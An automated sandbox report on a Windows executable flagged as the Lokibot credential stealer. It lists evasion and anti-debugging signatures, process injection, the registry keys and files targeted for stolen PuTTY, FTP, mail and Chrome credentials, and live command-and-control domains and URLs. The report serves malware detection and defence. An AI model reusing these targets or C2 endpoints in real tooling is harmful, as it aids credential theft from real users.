Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process information set: NOGPFAULTERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe TID: 776 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00405E93 FindFirstFileA,FindClose, 0_2_00405E93
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_004054BD
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00402671 FindFirstFileA, 0_2_00402671
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 1_2_00403D74
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Thread delayed: delay time: 60000 Jump to behavior
Source: aZOmps0Ug8.exe, 00000001.00000002.612017929.0000000000658000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1000CDB2 IsDebuggerPresent, 0_2_1000CDB2
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100093F8 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 0_2_100093F8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100098C2 GetProcessHeap, 0_2_100098C2
Enables debug privileges
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A402 mov eax, dword ptr fs:[00000030h] 0_2_1001A402
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A616 mov eax, dword ptr fs:[00000030h] 0_2_1001A616
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A6C7 mov eax, dword ptr fs:[00000030h] 0_2_1001A6C7
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A706 mov eax, dword ptr fs:[00000030h] 0_2_1001A706
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_1001A744 mov eax, dword ptr fs:[00000030h] 0_2_1001A744
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_0040317B mov eax, dword ptr fs:[00000030h] 1_2_0040317B
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10009B60 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_10009B60

HIPS / PFW / Operating System Protection Evasion:

barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Memory written: C:\Users\user\Desktop\aZOmps0Ug8.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Process created: C:\Users\user\Desktop\aZOmps0Ug8.exe 'C:\Users\user\Desktop\aZOmps0Ug8.exe' Jump to behavior
Source: aZOmps0Ug8.exe, 00000001.00000002.612184165.0000000000CE0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: aZOmps0Ug8.exe, 00000001.00000002.612184165.0000000000CE0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: aZOmps0Ug8.exe, 00000001.00000002.612184165.0000000000CE0000.00000002.00020000.sdmp Binary or memory string: &Program Manager
Source: aZOmps0Ug8.exe, 00000001.00000002.612184165.0000000000CE0000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_100098DF cpuid 0_2_100098DF
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_10012E10 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_10012E10
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_004030FB
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00406069 GetUserNameW, 1_2_00406069

Stealing of Sensitive Information:

barindex
Yara detected Lokibot
Source: Yara match File source: 00000001.00000002.612017929.0000000000658000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 3980, type: MEMORYSTR
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 6780, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts Jump to behavior
Tries to steal Mail credentials (via file registry)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: PopPassword 1_2_0040D069
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: SmtpPassword 1_2_0040D069
Tries to steal Mail credentials (via file access)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Lokibot
Source: Yara match File source: 00000001.00000002.612017929.0000000000658000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 3980, type: MEMORYSTR
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.aZOmps0Ug8.exe.f030000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.aZOmps0Ug8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.351943759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.611891393.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: aZOmps0Ug8.exe PID: 6780, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 502657 Sample: aZOmps0Ug8 Startdate: 14/10/2021 Architecture: WINDOWS Score: 100 17 74f26d34ffff049368a6cff8812f86ee.gq 2->17 25 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->25 27 Multi AV Scanner detection for domain / URL 2->27 29 Found malware configuration 2->29 31 7 other signatures 2->31 7 aZOmps0Ug8.exe 17 2->7         started        signatures3 process4 file5 15 C:\Users\user\AppData\Local\...\mahyiit.dll, PE32 7->15 dropped 33 Detected unpacking (changes PE section rights) 7->33 35 Detected unpacking (overwrites its own PE header) 7->35 37 Tries to steal Mail credentials (via file registry) 7->37 39 Injects a PE file into a foreign processes 7->39 11 aZOmps0Ug8.exe 54 7->11         started        signatures6 process7 dnsIp8 19 104.21.62.32, 49781, 49782, 49785 CLOUDFLARENETUS United States 11->19 21 74f26d34ffff049368a6cff8812f86ee.gq 172.67.219.104, 49779, 49780, 49783 CLOUDFLARENETUS United States 11->21 23 192.168.2.1 unknown unknown 11->23 41 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->41 43 Tries to steal Mail credentials (via file access) 11->43 45 Tries to harvest and steal ftp login credentials 11->45 47 Tries to harvest and steal browser information (history, passwords, etc) 11->47 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.219.104
 74f26d34ffff049368a6cff8812f86ee.gq United States
13335 CLOUDFLARENETUS true
104.21.62.32
 unknown United States
13335 CLOUDFLARENETUS true

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
74f26d34ffff049368a6cff8812f86ee.gq 172.67.219.104 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.php true
  • 16%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://kbfvzoboss.bid/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.win/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.trade/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.top/alien/fre.php true
  • URL Reputation: safe
 unknown